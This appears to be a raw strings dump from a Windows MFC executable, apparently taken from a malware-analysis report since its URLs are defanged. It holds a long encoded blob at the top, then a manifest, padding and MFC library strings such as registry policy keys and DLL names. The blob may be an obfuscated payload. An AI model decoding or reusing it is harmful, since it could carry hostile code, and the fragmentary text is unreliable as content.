HHH`ccB_bbZ5XXcXtt3qbbJt66TIuuJGgg6qnnBvllVnnnrWjj4/QQN666t<wwGTbbNZnnpzwwVjuuKoHH5ljjA{ttU%ttG&ddrPmmvw00Nvmmm7llN|ggcbqqgottGFMMB>llHzXXMuppH2996_QQN4qqz4bbN#ddBTmmw-xxfcvvJ%RRk#xxsMLLyuQQ2u99VwuuGittV@nnGyVV5»wXqq84vvvtLLq xxvmHHJWkkewjjyHCCfYjjn3bbNallu;hhJX00MOWWf.XXU]jjf1VV5@XXfHxxi1wwvX00tBXX2(xxwjww2:jjx9xxeKNNB}kksBnncjmmN5ddO!ggwqgg8sbbNBllR'CCHaRRNiXXv_llWfttp;FFRZvveo66O^XXJREEPCggzgXXO%nnG)XXZEjjfoxx2bSSwALLlGCCcLLLh4nnd\VVw,uu4(gginttw"332XWW2~nno/llxiMMZYWWsQllzeggrJoo4|CCd>qqxynnw(LLR?llZ6XXMcXXNr664yQQK?ggqfllN`ooH/llw;00jGQQKAnn3qSSz1XXf nnerjj5awwZ1bb3IxxrcwwAObbKtjjB2oopoXXs#XXmSllrYXXv,llsjnnw*llRXggr`XXZaxxJ%NNepCCNJ55A|ppK@LLh'vvJ?nnlWkkmOllc|nnd&qqJejjHijj8jggc)ddU%kkw266ZVSSehnnvqoofWEE3FQQp,NNr'nnvOdd3Puue4LLCfxxdBXXOsbbcZSSV0kkf\bb5muuxcll16CCK?xxBUood`xx3nbbpLNNU.vvHx33B3CCxqVVNrSSf#MM2}vvKxnnBDQQpsll1JppdDHH4>jjKgNNe$llA=xxq!CCw>bbPEppwt33r%ppH533PxbbHSNNE/CCrVaa5*CCdnXXsDmmN_ll4@XXx=nnxSxxZMttJ_SSJ?nnEquuz9jj8[wwG^ddKjuuJ)uuAGvvK}xx3^xxG=NNiFppr5xxh_jjJKNNH1jjdBXXZLggvA00EEnnKWXXi"bbGINNr?nnAuxxn)mmZvddC@wwNinnOmuu2JjjtCnnvi00ezWWf~33vwxx1P66cwuuH%qqk bbxFbb35nnv.VVeNCCsHllp}kkwWddUnmms]llh6vvBMLLh1mmw500M~bbZsbbZ$XXp3NNjiSSJ8LLiqbbcJnnq4jjmbLLh'kkx8VVM@xx3mwwBqyysRggd{nnwXXXJ#jjfy666^WWJBVVC`QQNFSSBvkkBxggR(QQKAjjV}bbxBqqb,llwFggeBCCrgqqB{uuJXxxr{XXeU33fsjjwFjjn>ppw'lls{oocXXXa}wwx}ooAHllH1LLb-jje`nn2?jjJtooA$ww17338*nnKpNNLtnnw/RRsfuuc]XXP/bb4Ltt5{xx2njjoAkke*dd4LllHhll3\llG?XXEDnnrNNNpjwwZ4xx5(oo2aLLvtwwG VVEdmmJ{FFEkllwMddoCppB~ooE!XXp0llq\mmJNddg0ggfVllG/QQs=nnR$mm4NNNVottv,00mcvvJOjjU=WW2&uu4KCCNQjjtquu1CLLp:ooc>qqp;SSzOjjW^vvf~xxU.xxcmqqktuuJ NN3rvvJ69912SSppXXH.XXeCUUH9SSxGnne6jjftLLtZkksXllz/xxe 992nuuJ\xx2ChhN4llc2XXe*xxTYSSelddm~ggve00e0vvff00YWXX2&IIo$XXwSRRbzCCc*NNkcpp3{ggnToo1$66l1XX2'33Z:uuGUddg|uurBNNd4ggdWFF2CvvcWXXPDQQf?ee43SSv'66mPnne&RRz;ppz)SSPfppvT55ZbCCd^ddi>mme$IIe:oo1ellvrbbK/XXlcWWeAqqH<oor3xx8>ggdNllG9wwvHLLAmooJ*XXY4XXH$LLTMuu1KFF2>XXr,ggPDppx{ll1-llw]66K:ooc*LLKymmd/jjOLnnJ.nn8,XXHVjjt_mmeE33eQjjrFLLOkvvf"RRrHllv=NNrpxxwGggb-ooxwVVxFpp4znnt8xxBqLLR@WWsIllC`XXxz55Z%WWN~SSR$ggpgll4RmmN ddm5bb4Wjjb4ooeMddoukketnnsOggfhjj1gWWZtee3eSSmpoo5Allcslll`nnJtttZKvvfHNNV:xxf6HH6gCCfSttZuuuH1MMZ~QQw&xxWIjjf^ggMnSSe"RRmFnn1/993pjjx)LLV nnr>NN3Sxxc!MM4Pvvv^wwA\vvckMMH#wwrklldqmm3ueeEZmmGSoo3@WWwQLLTtjje?qqw.nne`llW2ooZeXXT*WWG^qqc#llGlVVT?SSwKLLoGmmGVllt&mm1mLLZ CCd4VVV%QQNEVVCFwwceggdkvvx666HiQQZ{NNh`oop^ll6$WWNtXXK|XXKsddaAnnZ_lluUbbxfuuR6uu2fggy!kkfdbbPLnnckXXw}QQzHlljzggx}ddAvggH!oo6!wwd_VVBUwwfqSS4?oomxllV2XXf=33ZZttx%jjdJCCpEnn11SSvALLy*ggzqNNRxvvzxddwYood'xxYDvvHFnnvyooJ?NNa-QQw800M0CCpaVVqrXX4TnndkXXwnjjMpWWGfooA9QQ2`ddhYkkcpVVbcxx4FXXO[SSGYooRyXXwWggvjSSfGggr/kkm~eeH_vvs,ll3|QQK$NNcEoo19jjwpwwruqqZ=hhH9xxk^wwpBHHA\QQ17RRU@ppHJIIbOttB#EEB7xx2dVVx2kkmfbbH6WWr-jjuVggKBddr<wwf}55B[kkBeggetllNejjtKxxrJnnf~lld%ggwZkkc!jjkFoozvxxCHggfSxxASQQ1>qqv`mmJhUUEAnndYqqGEXXxxjjrmjjfKRR6@xxev00Jzuu2 VVa`XXftxxl#CCBNMMV5jjG9llBUjjvnxxzKCCJ.llA jjKmdd6Tnn4vXXt_CCJnMM1*nnxBddGUjjf81129jjcennfkbbJ_ggUyppx*qqg ccGPqqi=pp1OIIg xxzXqq1.jj2MggqHccH266B_jjp=XXrAjj1J66R~uur)ddsahhG@llEinneH66PMhhK}llZgWW3[LL2ZjjJ!66LVttwAllHRggfl00r%QQKdjjz*mm1[FFPvXXrkFFPmQQw<qqG}nnfP552axxvQVVaHWWe;jjJexxd=qqG6nnx~LLK.oo21FFJ5QQN?NNAwQQe-553-bbwa33V4SSxu55R>nn28ttE$llp{ee3qvvvRll34ppJm33t)SSvN551KjjwzqqI[QQdvSSA}nnJnUU3/vvB|ddr)mm2fNNl{mm18jjRivvs\ooNwjje.00i%QQdUxxr`ppeLLLw"nncKqqJnCCfdxxWUggr$ddLuwwm@dd1 xxKKSSR;SSw6aa5euux`LLO|vvdwggg'wws8eePmWWrauuVruuHgVVURnnvqNNn.bbBKLLaPhhN466Lquuxfaa50ggw\wwNbbbw]IIe7CCw7NN2Zmm3.LLdUoo16IIBeSSrXdd4vQQzmww1pkkfaddr{CCJIIInauuGJllhdwwdGFF4Lpp1eEEE~jjK9aaEYwwmUllszuudWLLeZoowV002QWWrpddUJSSH*qqh"vvHdxxlVpp4zxxp WWx&MM2=vvK_LLUzWWKnddY8jjfQUU58vvdrNNd>mm1HVVp!mm2IVVC2nnc gg4kuuJpMMV7uuxjNNOJnn10LLAVnnx&VVP7ppvJ55Eljj4~VV8wppw*qqG~uuJuEE3-pp3VjjJoWWG*qqp uu11RRi#jj41ggYDxxd-eeRMWWH0xxzUccNfaaB3yysFggn'uuZYggB9SSvZggT7mmN,XXn3WWc7NNOKuuH[VVeBwwxeqqZ7jjrRHHBmkkB<ggc9nnK[qqafppdEqqhihhJ.66rZooJRLLMwuuHBXXYrnn26ww3EbbNvllu:nn3AjjUoooJxIId6kkr&XXnOXXx*NNR3uuHO00xrww3IVVMqWWp!XXd CCs$lll&WWcnddaBXXp nnz{uuZ]aa6DWWeyLLr@QQJ0jjL!kkppVVUbjj1Dlld3nn4Nllf.uur7llNZxxG<aaZnwwcullB{ggKFLLE vvr{lly"nnHR33T2jjp_qqifkkpgjjZ~XXJjVVgNmm2fFF5nllv)RRr@SS3xlleiQQc ooHyXXHdnnkzXXxcggGqppG{xxq3vvrHnnJ4CCJ)NN3NQQwEtt5]QQd5XXA9pp1cXX4~wwKUVVE)jjm`nne6CCB wwZrbbZ@ggWjccNZXXf(uumLllr^ccG@ddfPSSfXFF4Cjj1s11ETQQJyllR/xx1"66ZiSSKwbbENwweGggsfSSH]00C(vvd6NNb>WW3%llpMWWG&ggR"nne,oo2sQQdkooRfggH]992#uu1\33c-QQpsNNOZmm4AnnmYvvBqnn5FggdR66Hfll3allYwvve0uu4dnnzwFFNHwwKOLLR#uuw-33cooo1-nnxvQQ3hLLidccKzLLirmmp<ggufXXx9MMEexxrCbbNIccHS00p;wwz9jj1uoop?llIGggmpLL3^ww16qqn/llc"XXAhww16ddA|ww1ORRK{jjcfllZqmmN@jjNQuu1\111:vvrRjjWXoopollx$bb1@VVm:WW4 LLCLmmx;VVO3mmxtllb|ppf jj8yxxHzll2lpp18ddq=uu4eddHTggJp99P)QQJ7tt6FkkesbbJ2vvrCggY.ppe`ooNowwwzFFHeXXvBXXb5SS2ZXXq|llA!ddW»x`XXL{XXxvXXBBxxv&dd4_XXc<llJ^XX4KFFNappH~ddPRlle6llmpxxGVjjr2llvu00B2nnrqqq66vvp_nna-kkd&xxtbpp2nlll}kkeNEEHDxxG?nnY{CCs8llo/wwGQqqmruuc4llTSSSAWnnsYvvfX33k0WW1)ddhcnn3Lbb2VkkeawwVVccN<55J|XXN@VVEKoowTbbN.QQH#LLwMxxr{LLr_uux~jj3HoozVnnM5uu1`nnkhkkrhXXpwuuG'll5Evve{99ZUvvJ/ddM#WWe*nnO~XX3kXXHDQQf"55VKnnrVllaaSSJ,jj3HWWx|xxU7hhH3xxuQCCvXjjfruu1tnnN ggKDllTattx~nnvYll4EooVIXXdnnnj mmGdjjaFCCJjSSZWSSH,IIP nne jjPKXXcVjjjFpp2TVVijoovHnnr6mmw5ddUZnn1O006^xx1W00Zhvvs@xxOlQQ4EnncUuuZFXXBbbbA'wwJJwwG7NNLYggNYVVywjjz llc~ppv<nn5UvvJbooRPggBzddfCpps*eeHBttp_llm_ttmmLLW1uuHFjj3mbbJ*wwP ooHKLL8#CCzRXXHottB9EEBIccGPHH42CCx/gg1PooHe66M3uu4mjjz~uuHW00fxllHoaaB-kkB0ggMIWWvV33gySSZ/llijwwN,uuPvwwNlXXA^SSwhRR3Pjj1}LLJ2jjK$HHAOvvcnttJ,QQpxqqpgww2UakkpmqqnqSSew00BLwwzjHHA'jj2qRR8Loo1>996qXXBsddc<CCx/gg44ppAnLL4tggmLoo6Pxxc ddZiWWe/006$ww3AddV&XX34jjwkSSNxllc*ww3$XXE'kkw5aaE}mmpfHHVpjjdR66B1ppK'nnI<vvK9VVRHkkfsIIepwwdijjb9bb3'NNWtppv;XXh{uuKXNNmXooH'RRJFSSGJggVzSSzIeeNDnnwhRRs=SSp.jjUZWWvj336YmmmjddfWvvr$FF6gXX1%uuNSSSxNxxaLWWNlVVOYggfe66p,xxN-bb5\ww1|HHHMxxv0llC<WW1kVVM4SSZONNT=ttvMddc?WW24IIkUWW3&nn8!ppzhddYlppe933gtjjdONNz`ooJA66thWWd[XXKPQQ3?VVhxmm4 XXeTmmesqqi;ggesNNnPkkdkxx5Dkkdfggaioo1N33y"hhB#nn1/XXpIxxk|ggz5aa1ZWWx;jjs}WWJ=RRuyggc\qqh0llxWgg1)ppe7LLbCmm2IIIkJCCBboo6|oovINNTTuu2eLLv,XX1\ggZSWWJ}33WpppfxVVGCppHhtt1#uuG?ee5SuurSllBKwwe]nnL|kkr=NNh[XX1kllytppxrnnaZXXrGtt3 wwzdqqG/uuZ>VVEblle9IIrPooKHXX52kkeEVV6sppxwVVGcooZcdd6kjjrEttV&uueeVVCBmmr)llcHww20RRf]CCN~llcmooG1xxs;ccG(aa4lCCdwqqw?bbJUxxZLhhG^SSVqllH:XX4tttB&EEBzbb2200YOnnJlNNKFcc2#nnL"QQf"wwB4kkB"gg3.SSf7XXIhSS2dllDISSJ^xxD8uuz@aa38uuzXeeEpuuzGFFA:yyJ&jj6MQQsCttU-ttJ/xx5Dnnxt00Y|bbv}33NottGyMMBcXXcIqqK QQcrjjHGcc4$ggNcccZ:aaE/jjpbaaRVuuz3aa5auuB566NxCCfGwwB{yysvggJKmmrUggVtxxdsXX2vQQx"llu0nnG ttZlWWdtxx1!QQxjjjl8XXAOtt8#ttNj66fhWWGIHHJNhhGfVVN@WW3#eeJ"WWHzVVATSSeDbbHNXXcqLL4TQQvinnzBoowfdd21SSxtgg5%kke1IIEJnnr XXgsmm2C33u bbv[66f^llw_nnbKxx20SS2?ww1]xxtJWW2_994iuuHAIIr^vvw#00J`QQv%NNgXkkeOLLsellw0tt6mXXGzNN4Attw2LLd#WW2"RRu.www$VVfawwrQVVa%mmcMLLZYCCJ_NNNExxAYxxJBjjrOqqbwxxd4VV4Lggw]RRWtbbvYddsUppHcddwcWW4"jjsAxxH"jjdduu3ZVVxJQQNdllcxccNkVVr8wwz0qqYLoos[ddiImmrBggs,jj3egga*ttp9eeH-ppKRxxMEWWsSnnm-ggJ<jjy5SSGknnxnggN#xxMwxxegbb47oo3dll8vjjxLLLiinnzUqqE<XXpDjjRZxxHxNNHHWWdJLLz#xxc2jjC1wwe6NNs/xx2^00e]ooxeNN14vvG xxZQmmp6ggx#WWrTVVkXmmZellEOvvz4jjr`CCHFFF5;ood2XXuRmmJOggZuQQw;RRz0CCG4xxZZmmB>LLTfWWr$FFN CCJ,ddT0uu2h00L)CCrEww6sSSG8ttVcll2Bll3hooptxxl/oos]ww4~ll1"xx6eXX2xdd2goopeNNE}ppx{ggV-llm:ww4sCCJJ66xmppz4nni/bbAAee3Pmms{xxGdQQJ{ggK<QQB9nnxjxxHERReEwwe'LLO3ggJqdd5&ppJAVVo,ppv@ggW(QQdinns-SS2$NNlNmm3XggvIjjfVII2kccN|jjg8vvc\ddGvxxxJXXh0ttvc00dcbbG^llT"kkr<nnt2llKvnnCcxxGBnn4tnnzolll6kkzjxxyxggJ~LLj.jjd/XXq9xxGxxxdIggB nn24vvz1NN1NCCp VVGammpXNN89nnZ jjZZttv,UUA2ggHjqq3[jj4#qqf^bbH>555\mmv#llrYuuH/xxOxWWfqxxt,uufR33PqppAbxxjTggx LLq'nnJ`ggrISSxmww3rll3:dds.SSzseeEMll2bRRYTXX1tddpoWW2;VVcmnnx8LLKkttmDLLn?bb3hFFJ6mmwKVV48WWs7LLPSQQG~uuZASSxpnnVmXXw$ee14mmplVVGjQQHgxxn3bb1qnno}uuxcNNakCCKkLL8;oo3w66pXmmcbLLY[jjz{jjgbQQd'llNKmm15qqs7SSd|ggpJnnrIll1GCCHlSSV(wwr>qqrbxx3SddkkWWegqqEYppx.ooNWmm1)NNK.mmfBddsGkkpxxxWEttBnEEBFWWf8RREuSSN$00HuQQf\XXDmQQJ8ddIgnnm@tt8vttJ@xxTNwwrSggT;XXf_xxG0XXe'VVN$QQr>qqN~SSBpttUSttJ%VVZwSS2}llY|uuvQnnc}mmJiNNlQxxrgVVy uuw>UUZ&XXvEoo18mmAgtt8JttK ww4XQQf~FF5Iww3^XXeDXXNSMMP llGQtt6JoofCggjSkksawwAjoo4)qqTgnn1 LLu%QQv?UU3Ijj23004]uuwTllg\vvw'NNR?jjHdVV3Ejjf)00tMWW38LL50oo4^eeVhWWx{jjC(bbxANNs_kkr@SSZnjjZDnne,uucdNNGPvvHIIIMCggdTllV{ppxHMMHouuf>FF2eppx4SS5bWWv9jjf,vvenVV1 xx3Wqqq?ooZpHHHDkkxZnnhDhhHwjj2bwwdxjjnjbbG)jjC"ggvoxx2Noocyoo6pxxr#dds4mm4FjjBSnn4moo6/llz0VVm#uu1"llcUjj3hwwNJWWKCxxR"mmNPXXV'mmc6llq7uu15RRL'CCd8NNm?nn4vNN3;uuppHHNtccKswwPnxxx>gguvQQfPggi'ccJ{00gguudVggTkXXA]ddM]ooJARRpsXXp(eeR,CCexlliOSSdSSSEDxx3FNNB=bbHgllKOXXdFuuR'wwH5LLfennf)IIjnCCwSnnl}ccNtqqbuggmKddvwCCJBggB-XXH|VVqgppJ^XXi0vvHgnnCouuwOddavllHYUUJLXXKqXXO.jjwFqqwkmm2H991xjjv?llzIWWZmNNc&mmw2XXwvoocRNNk`WWH8xxZ4bb2Gxxl"ttxxddiJll27LLo/llf-VVM~uupEggV;vvsuLLa:SSwijj8Mjjf|llVEuu13RRl\hhB<LLrxWWr|xxfboo1qxxT*SSm4ddeICCN8NNLpbb28jjcDjjxpVVC0xxN`wwZFQQmzllk3llfCFFAZuur<XXn>lleInnfTooeygggSbbGrFF3!ll27IIKroov_66C/ttp\NNRCXXz?ww5sttv]ddR(wwGvddkJXXvY662GjjzOnnEUoo2lVV2[WWw\99VmooJWnnngoo3>NNb%hhNwnn2.SSm5bbPBwwH.bb2qxxKWxx3HccG=NNr@oocbVVPSjj4_llyTvvx;dds`oop"ggA/uuH]qqg2hhGbxxY/ppzyxxB nn1QggGUQQv!dds QQezaa1PppZ"ddkMuux|llowoo3`ggGmCCf`ggcHuuG<aaP}XXv*eeV$wwN2SSRMttm#xxplnn2QjjwyggfeRRM)WWedllm(XX2BUUN9mmw#RRvskkdnLLj&CCeC33y-jjA&xxu/nnfRVVE(bbHwaaZ<CCe`33dJwwJ7XXdYbb1pII3@oo1MII46XXvXXXT_xxp\xxu-hhJ_00bQXX4*FFA`vvfe99V"oo1A00hwttp8XXC7CCcpee5gSSJ]NN3&QQ2(55Z=llf 33T*CCrqNN1uuus$llr(uuBvddo(uupgjjAAjjfcSSA~XXs1nnIQjjcBNNeMttw4xxUAmmB]llwoooH|lluPggfmVVmDppr5XXq|XXvoXXTsvvH[33iTQQ1ZnnnLjjZ@FF3\QQN-tt4jjjm^ooASQQN?lls[xx17XXZ{mmrXXXG{ttp%ggs=ww3*llPIooc_lla^pp2_ggjkXXNWMM1UxxG*NN2dkkv(SS4EjjHQNNs\ttBqEEB@QQeoNN5jkkdWMMHbSSf}33eSbbK&ddHjQQB}tt8NttNEnnJ7bbGdnni_ggz?ddgMWWz@ooNBnnwPxxf[llv3333~vvvFLLd/jjNDdds/WWHjqqW0XX36ggZ:CCeVXXT{SS3fllG'kkd!VVO3ppH|XXP!uuf;jjosmmGWXXnWppcRddK4mmG?ggiDmmJ.IIpGQQ2ixxPECCvonn4wWW2mggqgmmeWaa3^bbHSLLrBhhG=uu6ObbxZggoZwws0nnBkjj2|XX67XXA:ddJ1bbmAdd8$XXHBggNHnnNRXXpCQQJ&VVq6hhG>llVwooB[nnKjSSr0XX1/vvepUUNbkkrWVVt[WWH/VVIwjjz)jjhtllz/qqyzxx2luu6Opp4}LLf=nne000k[xxmRttU~ttJ'66VOQQv#wwBWkkBuggK6QQc@jjH)cc4hggN"ccZbaaEkjjpgaaR4uuz9aa5UuuB>ttUUttKHqqArQQ2ynnL QQd900ZOnncQgg2DnncyttBRkkBYggE0SSJO00J}yyK~NNT"XXvnddYunnf=33N>bbv)66H.QQvVxxV.QQJQll6uQQ4nxxM!WWvZVVLcyyJ(jjTpQQmdttU_ttKIggNknn3;00MIWW2njj3vcc2IjjImSSf]666nttGtMMBcww2r00JIXXrYXXV$SSJPxxSpccd(ll3kXXfV00AsWWv'ddURSSA4ttU"ttKDggN"nn3900Z3XXc^qqH2cc22IIN0CCmGtt8lttKwxxE6nnfUdd1|nnczll3=XXfj00A?WWv&ddU[nncPjjMNSSs ttU$ttKWjjd@xxroxxx'XX3BddWNmmzhNNCHkks*ddM=xxmStt86ttHrRRN#ggHYnnI QQf~LL4|XXeA55J<ww4ill48wwH5SSJEmmc&nni{jj1aRRVNllf1NNvXmmw3VVrgnnvMXXU ppxbjj2Bttc[SSVkmmr8nnmiCCKbxxkZCCwkddxJvvH\XXmJSSZCddvQllH jj6Qmm3|ddheCCw NN8AhhBXMMP8uudvxxcbmm1#xxl$pp2399NojjN\VVW/ppd^lln>QQA~ooP mmrOllUvoo3/aa1,WW4wqqoujjH8xxeNccGZllKObbGutt1WWWcULLdpQQx`llb8vvzsgg2UooeQLLcWuuHtXXn:CCJAggovxxrxqqmtXXfOnna8uuzvVVzWppwTVVysmm2Ljjc%WWw;qqG!vvJK33xGoo4)HHH}uuJqnnE]jjwsnnu%llJYxxOOjjfv00C0XX4GHH1;CCc7ww5vWW1d661*nndbVVn'vvK`eeJUnnr7nna1mm1KNNiKnndYnn3xwwd\ll5VSSvrNNh3kkr\nnA#WWBFee65xxs*LL83CCx'66gqggN\uuVIggw3jjVpbbwtggG(ww3zuuN\ooJ=RRyiww1Snn3|SS2oxx1&QQNTNNiJxxK1xxu!jjA'llPamm2|66nppps`llJpSS2ull2;XX4LjjiXCCewjjCOccKsjjenSSfR00v"ggf!992JvvcWdds]nnfXLLyHnnznqq3KQQHf00zVCCvQNNs_llNInnh2XXpGllk:ggv}55H-jj3HLLb&vvcxLLt$WWdTnnI[wwcYjjOZnnG*dd5qxxv{ooE1ggGqVVU.XXc qqW{vvdqddayggN:jjprbbw#jjBSCCe wwP{mmKNXXcpxxdCddH.WWfDuuJ`oofCxxG/XXJ?LL4SuufQSS5Oggstddx8CCv?NNRGbbZRlly/vvd ggW6ppf<66UQCCNnddTXmmN%llNgWWw$ggrJbbB3LLyZooH-HHE1QQd3xx5buuehXXt>ppKYXXqICCckNNK"uuJ?jj2#ppm[llT>QQr qqn(XXHHIIm@bb1wllUYbbH:qqlASSmLxx3=bbG5llRZllcOjjBnpp3aXXGymm2]553[XXx5HHNmppZwjj1mwwJ6xxv:jje5996ujjsvLLU{WWzjNNoCWWcYFFV&xxr8aaHBbbHf00jlQQv^RRAxxx2499AdWWHEddy7xxwz66C&xxJD00VzkkwkSSE9oomveeE-WWK ggY0bbZLnnwtnnZwxxiyvvrfuuAFmmf FFNvXXeJRRk5QQJUxxi(oor$VVc3uuvsee4DQQv*nnq9nne0nnB`ppxTNNB{WW1BIIGWxx4Mnnk:XX1@jjnqwwe@33fXoow,bb3/XXA|LL8shhHV994Ioo4!VV8luu2Y00A]mmKMeeVnll32ddUzbbxsqqc(wwG"llJ'ppGOggP-xxN,jjp7WWe/llNFbbc|MM2`mmcjjjo'll10ttJeWWf 33rmllf"nnz}bbK5LLZLppN*qqrCttwIllr)wwHYRRghllr7VVHtWWw2llV~mmG}xxA!ttBLEEBiXXrtggVybb2)xxD:QQf?00Kucc4|jjNoSSKcnnNTSSB/tt8OttJ5RRTAnnA266MzQQvV33I%WWv3RRLfWW2vxx1uWWf'dd1?yyJfjjTjQQmAttUzttK!llA*bbvHjjNBcc4)xxAeQQd{00J0QQ4*ggIPbbcMooBqkkBIggM>XXr;llEakkN,EET&ccso99NvSS3"EET`bb2uXXLjyyvGggLfQQN}EETCXXrmggV<bb2?wwY6bb2:XXLgii25NNDrQQfm00K{iim;xx5kggK4VVD"SS2rxxA@XXJ]NNG^nncynnN*SSGV11N1SSA6nn5~cc4~jjN4SSKxnnL8bb2`xxL9nnz~11NTSSAfnn5Qcc2BjjT)QQv?33N)QQKToo0JggckuuBXyys gg3PSSf$llDnXXczggU@cc2!nnT*SSJK33V:XXsFtt8'ttJcVV1dXXreaa8DccsW00ScyyAJxxZ]ccsi00G<nn2,HHIZbbJ'NNY\ccsc00KTnncEllDJSSrNggT/XXf>xxG6XXs]66G7nn2BHH/PCCdu00ZOnnc-gg2nWWv;jjNGXXJwxxAmiimbxxZ`ggKBVVDhSS2.xxA#XXJbNNGPnnvMNNHBiimrxxZ:ggK~VVDdnn4BxxLRnnd/00K4nnvZ550Bggc`uuB/yyskgg2_nnc%ggZ)WWvz00Y<ttG_MMB?nn2433ZUnnd"00Awnnx@99E{uuz5wwEFuupFaaEzkkzJttB:DDo.===PADsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadsdfdasfasdfadsfsdfasdfsadlrPKcLaFHwdMRkVuqpYiocg_GiNrevQDMxppNBPDgufZtAAtETTsbkudUqHOOfTsiSPxlG_ASPAD

<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0"><dependency><dependentAssembly><assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls" version="6.0.0.0" processorArchitecture="x86" publicKeyToken="6595b64144ccf1df" language="*"></assemblyIdentity></dependentAssembly></dependency><trustInfo xmlns="urn:schemas-microsoft-com:asm.v3"><security><requestedPrivileges><requestedExecutionLevel level="asInvoker" uiAccess="false"></requestedExecutionLevel></requestedPrivileges></security></trustInfo><application xmlns="urn:schemas-microsoft-com:asm.v3"><windowsSettings><ms_windowsSettings:dpiAware xmlns:ms_windowsSettings="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings" xmlns="hXXp://schemas.microsoft.com/SMI/2005/WindowsSettings">true</ms_windowsSettings:dpiAware></windowsSettings></application></assembly>PPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADDINGXXPADDINGPADD

8,8084888

8 8<8`9{9<:

0 0$0(0,0

0F0e0

1(2.282>2

142<2^2{2

<#<'< </<3<7<;<

4(4.474>4

=#>->:>|>

5 5*545>5

7%7U7

:':-:6:;:[:}:

0 00K0k0w0

4c5o6t6

9 9•9D9Q9\9e9o9t9

;0;6;_;|;

1&2D2]2w2

2%2-272=2

2%3X3

6m6

: :$:(:,:

4 4$4(4,40444

7 7$7(7,7074787<7@7

3 3$3(3,30343

4 4$4(4,4044484<4

5 5$5(5,5054585

= =$=(=,=0=4=8=<=@=

8 8$8(8,8084888<8@8

? ?$?(?,?0?4?

6$6,686\6|6

5$5,585\5|5

2$2,282\2|2

3$3,383\3|3

.----/01/01/01

{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|{|

{|{|{|{|{|{|{|

File%d

Software\Microsoft\Windows\CurrentVersion\Policies\Explorer

Software\Microsoft\Windows\CurrentVersion\Policies\Network

Software\Microsoft\Windows\CurrentVersion\Policies\Comdlg32

KERNEL32.DLL

%s%s.dll

E%s (%s:%d)

%s (%s:%d)

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\appcore.cpp

lX-X-x-XX-XXXXXX

Advapi32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\array_s.cpp

Ecomctl32.dll

Ecomdlg32.dll

Eshell32.dll

accKeyboardShortcut

wuser32.dll

hhctrl.ocx

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin2.inl

Afx:%p:%x:%p:%p:%p

Afx:%p:%x

commctrl_DragListMsg

f:\dd\vctools\vc7libs\ship\atlmfc\include\afxwin1.inl

kernel32.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filecore.cpp

{X-X-X-XX-XXXXXX}

PTF://

hXXp://

@WININET.DLL

HTTP/1.0

mfcm100u.dll

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\auxdata.cpp

OLEAUT32.DLL

%sCLSID\%s

%d.%d

TYPELIB\%s

CLSID\%s

CLSID\%s\%s

SHELL32.DLL

lXXxXXXXXXXX

dwmapi.dll

UxTheme.dll

eShell32.dll

%s:%x:%x:%x:%x

r%s\shell\open\%s

%s\shell\print\%s

%s\shell\printto\%s

%s\DefaultIcon

%s\ShellNew

%s\ShellEx

\{8895b1c6-b41f-4c1c-a562-0d564250836f}

ddeexec

Hf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\filetxt.cpp

f{8895b1c6-b41f-4c1c-a562-0d564250836f}

{E357FCCD-A995-4576-B01F-234630154E96}

Software\Microsoft\Windows\CurrentVersion\PreviewHandlers

%s\ShellEx\%s

COMCTL32.DLL

USER32.DLL

%sMFCToolBar-%d%x

%sMFCToolBar-%d

ShortcutKeys

%sMFCToolBarParameters

TOOLBAR_RESETKEYBAORD

IDB_OFFICE2007_RIBBON_KEYTIP_BACK

KEYTIP

%sKeyboard-%d

KeyboardManager

%sCommandManager

MSG_CHECKEMPTYMINIFRAME

%sDockingManager-%d

propsys.dll

%2x%2x%2x

xxx

%s(%i)

MFCLink_UrlPrefix

MFCLink_Url

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winfrm.cpp

&%d %s

%s-%d

%sMDIClientArea-%d

Zf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewform.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\viewcore.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oleipfrm.cpp

%sBasePane-%d%x

%sBasePane-%d

%sMFCRibbonBar-%d%x

%sMFCRibbonBar-%d

%sPane-%d%x

%sPane-%d

windows

ShowCmd

QHex={X,X,X}

1&0 %s

X%sMFCOutlookBar-%d%x

%sMFCOutlookBar-%d

Yf:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olefact.cpp

Ymsctls_hotkey32

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\winctrl2.cpp

@%c%d%c%s

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olecli1.cpp

f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olestrm.cpp

%sDockablePaneAdapter-%d%x

%sDockablePaneAdapter-%d

ENABLE_KEYS

KEYS_MENU

KEYS

[%d, %d, %d

%d, %d

[RICHED32.DLL

RICHED20.DLL

\%s %s

\f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\oledrop2.cpp

%s-Bar%d

%s-Summary

MRUDockLeftPos

Bar#%d

RGB(%d, %d, %d)

%sMFCTasksPane-%d%x

%sMFCTasksPane-%d

]f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\dockcont.cpp

^f:\dd\vctools\vc7libs\ship\atlmfc\src\mfc\olelink.cpp

